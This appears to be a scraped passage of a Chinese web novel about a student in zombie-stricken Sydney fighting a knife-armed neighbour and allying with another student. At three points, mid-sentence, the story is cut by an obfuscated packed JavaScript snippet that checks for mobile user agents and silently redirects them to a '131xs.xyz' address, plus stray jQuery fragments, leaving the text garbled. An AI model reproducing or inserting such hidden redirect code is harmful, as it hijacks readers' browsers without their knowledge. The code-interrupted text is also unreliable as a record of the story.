“你冷静一些!冷静一些!你让我害怕了!”程水高声喊道,尾声忍不住破音。
屋外的人似乎察觉到程水的退缩,停了下来,喘着粗气,满意地说:“噢,你害怕了吗?我很抱歉,两块饼干可能不行……不行,现在,你都有什么?”
程水焦虑地观察着房间,寻找着趁手的武器,她一路退到书桌旁边,抖着手摸索着自己的桌子,一无所获:“我……我也没有很多。我有一些薯片,一罐硬糖,你知道,别的东西都腐烂了。”
“是的,我们好好商量,好吗?我不想吓着你,朋友,我真的很饿,我真的很需要你的帮助,我不会伤害你的,我是同性恋,你不需要害怕我。”
什么?!
程水差点脚底打滑,她半信半疑地看向门,并不认为这是一句真话。这样的话她也能张口就来,没有任何人能验证这是不是真的。
但现在最重要的事是和他虚以委蛇,不要再让他有过激行为。
“噢……噢,是吗?”程水说,手下动作不停,终于找到了自己的那瓶辣椒水。
她缓慢靠近门,悄悄凑上猫眼,小声说:“你没有在骗我吧?……我现在非常害怕。”
屋外的人见她态度软化,焦急地道:“当然是真的!我保证,我连你的一根汗毛都不会碰到,你只需要把门开个小口,把食物递过来,迅速把门关上。我们谁也见不到谁。”
“像是个好主意。”
猫眼里,一个鹰钩鼻的拉丁裔男人站在门口,抖着腿,皱着两根粗重的眉毛,焦躁地来回转,程水默默看着,直到他再次转身,她看清了他的背后一闪而过的银光。
那是一把刀。
他要杀人越货!
程水花了很大力气,忍住不让牙齿因为恐惧悲凉咬的咯格响。和世界失去联系的第八天,已经有人要为了食物选择杀人了。
“怎么样,朋友?”拉丁裔男人假惺惺地说,“只开一条小小的缝。”
程水深吸一口气,道:“……我的食物都藏了起来,你等我一下,我去拿。”她顿了顿,又加了一句:“你要保证,好吗?不会伤害我。”
“我保证。”拉丁裔男人贪婪的笑了起来,语气亲切:“亲爱的,相信我。”
程水开始后退,不停后退,一直到窗户边。她故意弄出翻找东西的动静,一边轻轻拉起窗帘,推开窗户。浓重的血腥味夹杂着冷风吹进来,她打了个寒颤,一手握着窗框,一手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586115|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
支撑身体,跨出了窗户,半边身子到了室外。
她把水果刀和辣椒水别进裤子里,把另外半边身子也伸出窗户,吊在窗框上。
这个动作简直要了人老命,但不知是否是肾上腺素飙升的原因,程水并未感觉到特别吃力。她死死扣住窗框,一只手试探性的往隔壁房间大开的窗户上伸。
被困在家的这七天,她家隔壁的窗户始终大开着,起初她以为是在透气,直到楼下的连环车祸,那么浓重的腐臭和血腥气邻居都不关窗,她才确信,邻居不在家。
手指摸到了窗框边缘,她够到了!
心中一喜,她固定好位置,喘着粗气,用力一跃!
鞋子差点打滑,她手忙脚乱的抓住一切能抓住的东西,终于稳住了身子。
悄悄从窗户翻进室内,里面果然静静的,没有活人存在的迹象。
她重重松了口气,抹了把汗。今天冒的险加起来快超过她前20年的所有了。
轻巧地来到门口,她凑近了猫眼,往外看。
拉丁裔男人在昏暗的走廊里焦躁不安地踱着步,尖尖的刀子握在手上,看着随时做好了攻击准备。
这副模样,分明是打算等程水一开门,就挤进去杀人!
走廊里没有灯,在白天能稍微看清楚,却极其昏暗。程水摁住把手,悄悄拧开房门,露出了微不足道的,细细小小的一条缝。
她紧张的满手都是汗,完成后,她迅速收手,偷偷地往门外看去。
拉丁裔男人没有发现她的迹象,还在焦躁的围着她的门转。
她克制住呼吸,从腰侧拿下水果刀和辣椒水,动作轻微地旋开辣椒水的瓶盖。
霎那间,她砰地打开房门,拉丁裔男人被这突如其来的一声打的措手不及,愣愣地抬头看过来,程水迅速的冲上前两步,一瓶辣椒水哗啦一声全部泼在了他的脸上!
她在中国城超市买的辣椒粉,质量绝非一般国外辣椒粉可以比拟。
拉丁裔男人发出一声凄厉的惨叫,手上的刀下意识掉到了地上,他哭嚎着用手抹自己的眼睛,左右摇摆着身子,像是痛苦至极。
程水眼尖,赶紧一脚把他的刀踢的远远的。
她大口喘着气,又紧张又亢奋,握着水果刀,拼命的挥舞起来:“滚!给我滚!滚开!你想对我干什么?!哈?!我的父母不在这里!我孤身一人!我可以和你拼命!给我滚!”
拉丁裔男人哀嚎着,暴怒的冲了过来,程水见状,越是害怕,她的刀挥舞的就越疯狂。
噗呲一声,刀锋砍到了男人伸过来的手,他吃痛的缩了回去,嚎啕地大叫了起来,语无伦次的骂着脏话,程水根本不敢停,她持续挥舞着菜刀,直到男人冲下了楼。
见状,她立刻退回了邻居的房间,闪电般把门紧紧关上,又把旁边的柜子推倒,挡住了门。
做完这些,心脏依然跳的停不下来,她呼哧呼哧地喘着气,抖着手指把空的瓶子和水果刀塞进腰侧,重新爬回了自己的房间。
窗子乓!地关上,她瘫倒着坐下,水果刀和瓶子也滚到了地上。
天啊……天啊……到底都发生了什么。
还没来得及复盘,几声轻微的笃笃笃声莫名其妙的响了起来。
程水警惕地坐了起来。
笃笃笃。
笃笃笃。
她按着还没回复的心跳,绕着自己的房间找声音的来源。
最后……她把目光移向了自己刚刚关上的窗子。
11. 是中国人吗?
笃笃笃。
一连串细碎轻微的响动。
程水慢慢站起来,拧着眉,警惕地来到窗前。
一根绳子,看材质像是跳绳,尾端打着结,系着一个透明保鲜盒,轻轻飘荡着打在程水的窗户玻璃上。
盒子里面似乎还有东西。
程水打开窗,没着急拿过盒子,小心翼翼地探出窗外看向绳子垂下来的位置——
一个披头散发满脸都被头发遮住的女生,双腿还在室内,半个身子从窗户伸出来,挂在墙上,竭力握着一根跳绳的尾部,双手都在颤抖。
见程水探出头,哪怕黑发遮住了整张脸,也能感受出她的激动,她拼命点着头,绳子也因为她的动作夸张的颤动起来。
程水低头看了眼大街,街上一片死一样的寂静,几个感染者慢吞吞的游荡着,似乎没注意到她们这栋楼的动静。
程水开了窗,不敢大声说话,她比了个手势:【拿盒子?】
楼上的女生拼命点着头。
程水犹豫了一下,伸回了室内,抬手解开了跳绳的结,取出了保鲜盒。
里面装着一个纸团。
展开后,纸上的字分成了两段,上半部分用的是中文简体,下半部分用的是英文。分别写着:【是中国人吗?请问能换点吃的吗?我有咖啡。】【你好,请问还有食物吗?我有咖啡来交换。】
悉尼的学生公寓里从来不止中国人,像程水遇到的拉丁裔男人,以及她之前等电梯时还遇见过印度人,马来西亚人,韩国人,日本人,中东人。但中国人的人数永远是压倒性的,程水没有细数过,50%以上肯定是有的,北悉尼少一些,靠近悉尼大学的几个区,学生公寓里基本80%都是中国人。
这没有什么不好,相比于在末世结识非本国人,程水此人之社恐认为,还是认识中国人最好了。
也正是因为社恐和谨慎,程水并没有热泪盈眶的和楼上的女生抱头痛哭老乡见老乡的冲动,她不会把所有陌生人都一棒子打成坏人,但也不会一头热的觉得他们是好人,她很清醒的觉得,大家都是人而已,都该有恶心和善心。
保鲜盒里放着一小袋独立包装的咖啡,像是楼上给的诚意定金。
程水对咖啡并不热衷,但有些自己没有的物资也是好的,她取出咖啡,拿出自己的一大袋粗粮饼干,取出一小袋放进保鲜盒。
她提笔在纸上写了几个字,重新叠好放回盒子。
来到窗前,她把盒子系了回去,想必楼上的女生趴在外面半天也是累极,绳子很快唰地收了回去。
程水把窗子重新关上了,经过了楼上女生这么一打乱,她也冷静了下来。为了提防拉丁裔男人回来报复,她要把门堵死,以防那人会拼了命的踹开澳洲的豆腐渣工程。
她手边能拿来堵门的只有自己的书桌,化妆柜,和一些几乎没什么重量的小柜子……这样效果能好吗?她咬着嘴唇想,哎,死马当活马医吧。
如果拖拽书桌,很难不发出噪音,她用力抓起书桌,没想到比想象中要轻得多。接下来,她把自己能用得上的重物全部堆到了门口,比如自己囤的两大瓶沐浴液,没了水也用不上了,刚好拿来堵门。
一切做完,她才略微放下心来。
笃笃笃。
就在此时,又传来轻微细碎的敲击声。
程水打开窗户,熟悉的保鲜盒进入眼帘。她探出头去,楼上的女生扭动着头,示意她拿过盒子。程水解开绳子,拿着盒子关上窗户,保鲜盒里的饼干已经不见踪影,取而代之的是好几袋新的咖啡。
纸团还是原来的纸团,程水展开读了起来。
【谢谢你!!!我断粮好多天了,终于有口吃的了呜呜呜,我还有这些咖啡,能再和你换点吗?对不起,真的谢谢你了】
看着夸张的感叹号,程水勾起嘴角,身体放松了许多。
……似乎是个年轻的女生。
这个认知消除了些程水的戒心,况且,和拉丁裔男人相比,楼上的女生从一开始就礼貌的拿自己的咖啡换取食物,而非道德绑架和威胁,已经让程水觉得女生不是个穷凶极恶的坏人了。
程水的食物量挺够的,她没太吝啬,放了好些粗粮饼干进保鲜盒,又提笔在纸上写了点字,同样的操作递给了楼上的女生。
回复很快到了。
【感恩呜呜呜感恩!!谢谢你,我好多了,真是打扰你了,不好意思。】
程水这次只回复了一个‘没事’,楼上递过来的纸条上画满了爱心,还有个比着心的简笔画小人。看得出来,楼上的女生确实饿惨了,程水救她于水火,激动是正常的。
但等程水逐渐有些适应了纸条沟通后,再一次传递纸条出去,却没有收到任何回复。
她有些焦躁地坐在床上,时不时抬头看窗。
一直到太阳落山,室内重回昏暗,楼上还是没有消息。
她有点落寞地垂着头,无聊的扣着被子上的凸起花纹。
有点孤独啊。
程水想。
一周了,和外界的沟通居然只有和不怀好意的人虚以委蛇,还有和感染者大战时冒的粗口……不对,后者这算沟通吗?
哪怕是末日爆发前,也必须要和经常课友说说话。她以为自己是不需要和人交流的那种独狼,可是经过一周如同孤岛般的洗礼,突如其来的交流让她有些不愿放手。
而且楼上说话的方式也和程水很合得来,她能想象到一个活泼的女生埋头画爱心和小人的样子,哪怕她不太善于聊天,楼上也能叽叽喳喳的说一大堆不让彼此尴尬。
按捺住自己在落寞和孤单中产生的胡思乱想,她伸了个懒腰,决定就这么睡了。
静观其变吧。
她最后决定以这种态度对待楼上,如若不怀好意,她也能有所准备。
————
末日第九天。
天空中一丝云雾也不见,晴朗的蓝天没有杂质,仿佛被清洗过一般澄澈。
这样的天气其实是澳洲的常态——饱和度极高的蓝色天空,一望无际的干草原。程水刚到澳洲时正是这样干净又毒辣的气候,但不知为何,近两个月天气反复无常,她已经很久没有见过这样的天了。
暴雨也停了好几天,本来要穿长袖卫衣,却反常的越来越闷热,在室内尤其。
程水半夜被热醒,换上了短袖才好受些。
她内心觉得有些不对劲,这么热的天气理论上来说应该在十一月份,十二月份才出现,一般九月份的澳洲还需要穿两件薄衣,怎么会热成这样?
至少有三十度了吧?
焦躁地吐出一口气,她希望这不要和感染者有关,她已经够惨了,实在不希望天气也如此折磨。
不知拉丁裔男人是不是真的被程水当时的疯狂吓退了,她的布置暂时没有用武之地,虽然说是好事一件,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586116|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不安丝毫未减。至少这两天,她是没有从自己家门离开的勇气了。
笃笃笃。
她迅速扭过头去,眼底带了一丝自己也没察觉到的惊喜。
【呜呜真的不好意思,又打扰你了……我这次不是想来找你换吃的!我想问你,那个,我能下来找你一起吗?对不起,我一个人真的好害怕。】
读完纸条,程水有点说不清的感觉。
楼上的女生想下来找她吗?
这倒也不是不行……
程水有些纠结地想,不知道自己是否该在这样的境地还信任一个陌生人。
但是……她无意识地扣了一下手心,她也有点不想一个人。
她焦躁地踱着步,环视了一下自己的房间,最终下定决心。反正楼上的女生和她年龄相仿,也不见得会比她的攻击力高到哪里去,如果发生冲突,她不见得会落下风。
就这么办吧!
她写了答复,看着盒子被楼上收回去。
她保持着探出头的姿势,很快楼上的窗户重新打开,这次,楼上女生扎着头发,程水终于看清了她的脸:圆圆的脸,眼睛亮亮的,见到程水,大大的无声笑起来,高兴地和她打招呼。
女生看起来也有所准备,她从窗口扔出像是卷成一条的被套,一直扔到程水怀里。等她在室内固定好,程水看着女生试探性地跨出窗户,她也不自觉屏住呼吸。
女生看着很害怕,全程不敢往楼下看,等到她两只手脚都抓住被套做成的绳子时,程水感受到手里的重量,心中却略道不妙。
果然,一直延伸到楼上室内的绳子根本没固定好,被套晃动的吓人,女生紧紧抓着被套,死死闭着嘴不敢尖叫,程水下意识地要叫出声来,余光看见楼下的感染者,也死死闭住了嘴。
无声的紧张,程水握紧了被套,尝试给女生一点支撑。
可惜没用,被套松动起来,女生的身子跟着摇晃,察觉到不对劲,她连忙惊慌地扣住窗框,哗啦——被套拧成的绳子垂了下去,只剩下程水这头还握在手上。
程水不敢高空抛物惊扰到感染者,她轻轻收回被套,楼上的女生惊恐地扒住窗框,用尽全身力气回到了自己的屋子。
两人对视着,摇了摇头。
女生急切地喘着气,消失在窗前。不多时,又是一张纸递了下来。
【楼层之间有三米高,太高了,我下不去……我准备走楼梯了,你能接应我一下吗?】
程水这层楼是没有感染者的,楼上的感染者也被程水解决掉了,走楼梯是没有感染者的危险的,但……
她快速在纸上写了几个字。
【有个男人可能会埋伏你!他尝试过抢我的食物,你小心一点,走到我这层楼的时候探出一点头,我的猫眼看得见楼梯口,我再来接应你】
楼上女生直接在窗口读完了纸条,她对着程水轻轻点头。
程水来到门前,悄悄移开堵门的杂物,留出开门的位置。
她紧张的盯着猫眼,不多时,她看见一个人影慢慢从楼梯口探头出来。
程水咽了口口水,用力贴上猫眼观察着猫眼能看到的所有位置。
安全。
她悄悄打开一条门缝。
门边,一只灰扑扑的黑鞋进入眼帘。
程水的心跳凝固了,一切像慢动作一般,她侧过头,看到昏暗中的一只鹰钩鼻,上面是一双阴恻恻的眼。
12. 勇者,你的新伙伴已出现
冷汗从背后渗出,时间一瞬间拉长,突如其来的恐惧攥紧了程水的心脏。
她的大脑一片空白,只能听得见血液奔腾进入大脑,神经一跳一跳的轰鸣声。
银光闪过!
她下意识的往后退,躲过了一击刀刃破空的攻击。她的瞳孔因惊恐缩成一点,眼睁睁的看着拉丁裔男人踩上她家的地板,握着刀,狞笑着朝她冲过来。
“你惹错人了,小姑娘。”他恶狠狠地说,“等的可真够久的,对吧?你猜我要对你怎么样?我要把你大卸八块,吃了你的肉……”他的眼中全是兴奋的贪婪,又用母语骂着程水听不懂的话,但看他的眼神逐渐变得淫邪,程水心中的恐惧也越升越高。
程水踉跄着后退,拉丁裔男人冲上前,一刀劈下,她竭力躲开,噗!肚子被拉丁裔男人一脚踢了上去,霎那间,她觉得自己五脏六腑都在翻腾,被踢中的地方剧痛无比,令她喘着气痛苦地缩在地上。
拉丁裔男人又踹了她一脚,这次是她的肩膀,用了十成十的力气,剧痛简直要把她撕开。
他环视了一圈程水的房间,吐了口口水,骂道:“你有这么多?却不肯分一点给可怜的恳求你的人?上帝啊,他老人家是不会保佑你的,如此自私的人,你死有余辜,不是吗?”
程水趴在地上,浑身痛的要命,恐惧和愤怒在脑中攀升,她把自己撑起来,猛地朝男人扑过去!
拉丁裔男人很轻易地就躲开了她的攻击,他甚至背对着她笑出了声,程水的身体和这房间里的一切在几分钟之内就会属于他,显然是认为她在不自量力。
程水扑到门前,神经在极度愤怒中一跳一跳的,她用力抓过自己买的1L超大瓶国产花香沐浴露,朝着男人的背全力一扔!
砰!!
满瓶的,在高速中如同大石块一样的沐浴露恶狠狠地砸上了男人的背,他踉跄着扑倒在地,程水慌张地爬起来,抓起门边一系列小东西,囤的一盒发膜,音响,一盏金属台灯,哗啦啦全扔在了男人身上!
男人摇晃着爬起来,抓起自己的刀,转身朝程水扑过来。
程水下意识握紧了地上的扫把,刀刃扫来的一瞬,她下意识的举起扫把杆,硬生生挡住了这一击!
拉丁裔男人的眼白是一片血红,不知是不是昨天程水调配的辣椒水的功劳,他的眼睛甚至有几分非人的惊悚。他疯狂的拿刀劈砍着,程水狼狈的拿着扫把杆躲避着,直到又一次攻击……扫把杆彻底断了。
在绝望时,一道孤注一掷的喊叫出现在耳边。
“啊啊啊啊啊!!!”圆脸女生举着椅子,决绝的冲了进来——哐当啪嚓——!椅子底部砰地撞上了男人的脑袋,发出一声巨响。男人蹒跚着后退,圆脸女生闭着眼,高喊着为自己打气,用力的把椅子往下一贯!
叮里当啷,刀落在了地上,椅子重重地砸在了男人的手臂上,他吃痛地大喊,一脚踢开了圆脸女生,椅子落在程水不远处。
程水乘胜追击,拎起椅子疯狂地往男人身上砸,圆脸女生捂着肚子从地上爬起来,也涨红着脸,拎着地上散落的音响往男人身上打。
不想死!不能输!不想死!
三人在狭小的室内搏斗,拉丁裔男人疲于招架,不断地受到攻击。
程水红着眼,精神注意力已经到达了顶峰,手中的椅子竭力地往男人的脖子砸去!咔嚓一声,清晰的骨骼断裂声响起,男人的脖子可怖的歪斜着,他不可置信的伸手,尝试摸自己的脖子,在下一秒,他砰地倒在了地上。
“啊啊啊啊啊……啊?”
圆脸女生气喘呼呼地停下来,满脸的汗珠,程水咽了口口水,两人齐齐把视线投向地上的男人。
“我们……杀人了吗?”圆脸女生惊恐地说,“他死了吗?”
程水不知道,她的大脑一片空白。但很快,她的眼神逐渐聚焦在男人歪裂的脖子上。
“他好像在动!”圆脸女生也注意到了什么,她恐惧地后退了一步,“不是,真的假的?他,他他怎么在动啊?”
地上的男人在奇异的抖动,抽搐,肌肉如同扭结的麻绳一般蠕动,咔哒咔哒的骨骼扭动声响起,他的皮肤爬满了蛛网一样的血丝,他猛地扭头,歪斜的脖子在动作下彻底断了,他却没有丝毫凝滞,嘴巴大张着,恶臭的口水喷了出来,如同咆哮的鬣狗一样咬了上来!
圆脸女生在惊愕中定在原地,程水更是不敢置信,如此致命一击下,男人不仅没死,还在朝她们攻击!
但拉丁裔男人显然不再是以人的方式在攻击了,他速度变得奇快无比,霎那间就要咬中圆脸女生的脖子,程水慌忙之中推开了她,它的咬合在空中咬空,又朝着程水冲过来。
是感染者!拉丁裔男人在和她们搏斗之前,就已经被感染了!
搏斗了一会儿,程水喘着气躲过它凶猛的撕咬,发现一件她十分不愿意承认的事实。
拉丁裔男人感染后,远比楼上的男生要强。
圆脸女生还傻傻站在一边,在恐惧中惊愕地不敢动弹,程水在喘息间大声道:“把刀给我!!”
仿佛如梦初醒,圆脸女生慌忙地在地上的一片混乱中翻找起来,银光一闪,她把刀在地上一推,程水正好为了躲避攻击扑在地上,一把抓起刀,翻身就是一砍!
这个动作在楼上已经试过一次,再来一次熟练了许多,她用力一刀劈在拉丁裔男人的膝关节上,骨骼发出恶心刺耳的咔嚓声,一半的膝盖被她砍了下来,拉丁裔男人在用力扑来的动作下滚翻在地。
圆脸女生也找到了程水的水果刀,趁着它落地,她用力把刀插进了它的太阳穴,进入了大脑。
拉丁裔男人挣扎起来,顶翻了圆脸女生,脑子里插着刀,恐怖的形象足以吓止夜啼小孩,它再一次扑过来。
“啊?不是,为什么没用啊?”圆脸女生不可思议地说,“不是攻击大脑吗?”
程水正在找机会砍它的另一条腿,闻言,额头蹦出一条青筋:“你电影看多了吧!砍它的关节,尽量把脑袋砍下来!”
“你怎么知道的?”圆脸女生惊奇地道,话是这么说,她乖乖的让开了路,程水冲上前去,大力地一刀劈在它歪斜的脖子上。
骨骼断裂,人头落地。
剩余的肢体还在不断扑腾,像濒死的鱼。
这场景太猎奇太恶心了,程水和圆脸女生都惨白了脸,转过身忍住呕吐的冲动。
圆脸女生瘫坐在地上,放下自己一直紧紧握在手里的武器,无助地看向程水:“没……没事了吧?”
程水抹了把额头上的汗,点点头。
“啊啊啊啊啊我去啊啊啊啊什么情况啊!”圆脸女生爆发出一阵尖叫,她爬起来冲到程水面前,一把抱住了她,后知后觉的崩溃起来:“世界疯了吗什么情况啊尸体活了啊你看到了吗!”
程水不适应的扭过了头,被圆脸女生抱住,她感觉自己全身的毛孔都在以呐喊的形式大喊让她离不熟的人远一点。
“看到了……”她最后说。
圆脸女生哭丧着脸放开她:“天啊,这是什么啊。”
程水松了口气,她两条手臂都在过度用力下发酸,她稍稍站的离圆脸女生远了一点,低头看向地上还在不断蠕动挣扎的尸体。
靠……还是好恶心啊。
她扭过了头。
“我觉得是受到了某种感染。”程水开始整理地上在战斗中弄的乱七八糟的东西,“外面的那些人一定不会突然变成那样,可能是某种病毒吧,就像狂犬病。”
圆脸女生抽噎着,盯着她的动作看:“什么?病毒?我真的以为是恐怖袭击来的,靠,我还定了下下周回国的机票,新南你退钱啊。”
“你是哪个学校的?”
“新南威尔士大学,我学金融的。”圆脸女生说,“你呢?”
新南威尔士大学也在悉尼,在全球大学排行榜上和悉尼大学不相上下,学校官方经常表面亲密,背面蛐蛐,属于塑料友谊的关系。
“悉尼大学科学,主修生物。”程水把地上的杂物整理了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586117|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下,靠在灶台上,说道。
“哇!怪不得你知道病毒这些,早知道我高中就选修生物了,说不定还能有点用。”圆脸女生瘪着脸,说:“都这种情况了,谁还需要学金融的啊。”
程水笑了笑。
她把目光重新投向地上的尸体,突然,她发现了什么。
手。它的手。
记忆回到了昨天,她想起来自己是怎样在恐惧和激动下用刀砍中拉丁裔男人的手,皮肤肯定是破了的,应该也有流血,走廊昏暗,她没有看清楚,但一天时间内,伤口不应该会恶化成这样。
它的手掌上有一道刀砍的痕迹,肿胀得像被打进了毒液,皮肉四周泛起浓重的紫黑色,周围细小的血管凸起,呈现出蜿蜒的暗红色网状,一直延伸到手臂停下。
按照狂犬病的传染机制,如果有受到感染的人的唾液触碰到伤口,病毒就会进入人体组织,逐步入侵神经系统,直到受害者彻底感染。
那么,会不会有可能,昨天男人被砍伤后,接触过感染者?
那为什么他会在受伤后突然发病呢?
这种病毒的运作机制到底是怎样的?
程水咬着唇,出神地想着。
“哎!还没问你叫什么呢?你叫什么呀?还没谢谢你的饼干,真的救我大命了,我本来都要魂归西天了,真是太谢谢你了。”圆脸女孩笑嘻嘻地说,眼睛弯弯的:“我叫凯西(Cathy),中文名叫黄雅乐。”
“我叫程水,程序的程,水就是那个水,喝的那个。”程水的思路被黄雅乐的叽叽喳喳打断了,她没有不满,站起身,看向她说。
“没有英文名吗?”黄雅乐下意识问。
澳洲留学生之间为了方便,很多时候其实并不怎么用中文名互称,除非此人并没有英文名,或者刚来澳洲不久,不适应这样做。
“我没有英文名。”程水说,“或者你可以叫我water?”
黄雅乐笑起来,她有颗虎牙,一笑就露了出来:“还是程水好听。”
程水也笑了,她奇异地放松下来。
“你能帮我个忙吗?”程水指了指地上的肢体,又指着断成一半的扫把。“帮我把这个弄出我的房间,谢谢你,不然太恶心了。”
两人合力,把地上已经不能称之为人的尸体的尸体丢出了房间,房门被关上,现在室内终于只剩下她们两人。
程水重新拿杂物把门堵住,拧着眉环视室内,又动手开始收拾起东西。
黄雅乐好奇地看着她:“现在要收什么?”
程水停下动作,好笑地说:“难道你还要住在这吗?看地上那摊血,没水能清理掉,会很臭的。”
黄雅乐哦哦地点头,反正她下来的目的就是跟着程水一块走,她跟着叠起被子,看着程水拿出了两个大黑包,往里面装着食物,手电筒,一切用得上的东西。
“咱们去哪啊?”黄雅乐看着程水装了大把东西进包里,问了一句。
“我们隔壁先住一下吧。而且,我们刚刚发出的动静太大了,不对,是我这间房间这两天发出太多动静了,这栋楼里的人只要没聋,就能注意到这里。”程水装好一个包,看过去,“如果有什么事情发生,还住在这里很容易被围攻。”
黄雅乐点点头:“好有道理。”
程水装好另一个包,递给黄雅乐,打开了窗户。炎热的热风夹杂着腐臭的刺激吹进来,两人都不由自主的皱了脸。
“你跟着我就行,小心点,窗框容易滑,我先过去,然后我再接着你。”程水攀上窗户,转头看了眼黄雅乐说。
黄雅乐看着她的动作,眼神亮亮的,这让程水不解地皱了皱眉,她在心里发出一个问号,嘴上什么都没说,默默地攀过了窗户来到邻居家。
一番折腾过后,两人同时瘫倒在邻居家的地板上,齐齐松了口气。
“终于安全了吗?”黄雅乐眼神发空,喃喃道。
“吃不吃东西?”程水撕开一包饼干,看向她。
“要!”
13. 没水,被困,寻求生机
安全也许存在于某个遥不可及的未来,而非此刻。即使侥幸拥有了片刻的喘息,也终将在这场末日天灾中被残酷撕裂。
在二人分食着饼干,享受着战斗后的宁静时,走廊外面传来轰隆隆的杂乱脚步声,夹杂着嘶哑的嚎叫,听着像一大波人混乱的挤撞着从楼道深处汹涌而来。
二人不安的对视一眼,程水放下饼干,率先来到猫眼前。
扭曲的镜头里,杂乱的鞋裤,满是污血的衣袖一晃而过,下一秒,她吓的脖子后仰——一张眼球暴突的灰白尸体冰冷冷的贴住了镜头,连带着门也轻轻颤抖起来。
“什么情况?”黄雅乐三两口吞下饼干,凑过来。程水主动给她让了位置,两个人轮流挤在猫眼前往外看。
“全是感染者。”程水凝重地说,“是被我们打斗的声音吸引来的吧。”
“靠……”黄雅乐也傻眼了,门口楼道里被堵的水泄不通,像是全楼的丧尸都涌了上来。
“主要还是楼下来的多,”程水眯着眼,贴紧了猫眼观察着,“一楼正门肯定全是感染者,感受到动静都往上跑了。”
感染者们没有神志,找不到先前听到的声音来源就开始在楼道里四处乱撞,它们力量大,速度快,把住户门顶的框框作响,直到好一会儿,它们没有目标,才在原地静止。
两人放轻动作,来到离门最远的窗户边,警惕地蹲了下来,压低声音说话:
“为什么你管那些人叫感染者?”黄雅乐指了指门口。
“我只是有个猜测,”程水有点局促地捻了一下裤缝。本来只是自己随口取的外号,现在却被人正儿八经的叫出口,反而让她莫名有些不好意思:“那些人肯定不会无缘无故变成那样的,就像刚刚那个男的。估计是被什么东西感染了,病毒进入身体发生了异变。所以我才管它们叫’感染者’……不然,总不可能它们还是正常人吧?”
黄雅乐了然地点头,又忧心的说:“什么样的情况下会被感染啊?不会是空气传播吧?比如说,打个喷嚏什么的?”
程水无奈地看着她:“那我们刚刚打斗的时候呼吸进多少空气,咱俩有感染吗。”
黄雅乐也是慌张的乱了心神,她原本真的以为是恐怖袭击的,什么导弹袭击悉尼,辐射爆发,所有人在灾难之下都开始发疯什么的,她以为悉尼变成了战区,一心都在往到底是哪个国家看得上澳洲的军事战斗力要和澳洲决战上想,谁知……还和病毒有关?
“那就是母婴传播?血液传播?飞沫?哎不对,你刚刚说这个不是了。那还有啥,啊啊啊我高中真的应该学生物的。”黄雅乐小声抓狂起来,“那个男的,不是脖子断了之后才……会不会是那种专门感染尸体的病毒啊?”
程水认真的想了想,犹豫地摇摇头:“普通病毒没办法感染尸体,只能在尸体上短暂存活,也没办法让人突然变成怪兽吧。”
“那肯定是要有点原因了。”黄雅乐搓着手琢磨起来:“或者说受伤什么的?不都说如果受伤了流血了不处理容易感染发炎嘛。”
回忆起那道肿胀紫黑发亮的刀伤,程水思索起来:“我想过这个可能性,皮肤的保护被破开,病毒进入伤口开始感染全身是极有可能的,可他接触过什么呢?他身上没有和感染者搏斗过的痕迹啊。”
“不会碰到感染者就被感染了吧!”黄雅乐惊恐地说。
“不会。”这个程水倒是很确定,楼上她剁下来的小腿还在蹦跶呢,“如果只是碰到它们应该没问题。”
黄雅乐接着猜:“唾沫?血液?”
按照程水的生物学思维,她觉得很有可能,但最关键的是,她无法确定,她甚至不知道拉丁裔男人到底是什么时候开始在她门口蹲守的,也许他第一次离开后回到了他住的楼层,受伤的手接触到了感染者的□□。
但……也有一种可能。
程水开始发挥自己的脑洞:那天,拉丁裔男人在她这吃了瘪,狂嚎着清理自己的眼睛,气疯了,也饿疯了。他记得她是从楼上拿下来的食物,便往楼上冲,途中,也许手不小心碰到了沾着感染者□□的门框。
楼上的房间空空如也,一点吃的都没有,这让他气急败坏,心里的火越烧越旺。
最后,他决定不走了,就在她的门口守着。
如果这个可能性为真,那么此病毒的潜伏期大概在半天到一天,或者更短。事关自己的生命,程水发挥出了比平时考Final前两天疯狂补ppt还要风暴的头脑,她很快回忆起了自己在车祸时看到的场景,有人被咬中,倒下,几乎不到五分钟,两三分钟就感染站了起来扑向其他人。
她开始低头翻找自己的包,黄雅乐还在大脑放空的瘫在地上,看到程水的动作,她爬起来轻声问道:“怎么了?”
“有笔吗?给我一支,和纸,谢谢。”
程水接过纸笔,埋头苦写起来。
黄雅乐见她如此专心,好奇的悄悄凑过去,这一看不得了,她震撼的说:“我去,我信你真的是学生物的了。”
【样本1:车祸受害者
感染方式:目测脸颊,手臂,脖子被感染者攻击,有明显出血,大量皮肉分离。
潜伏期:大约两到三分钟,被感染者攻击后立即失去意识,昏倒,随后突兀苏醒,立刻表现出失控的撕咬行为,攻击力上升。
样本2:先前攻击我们的男人
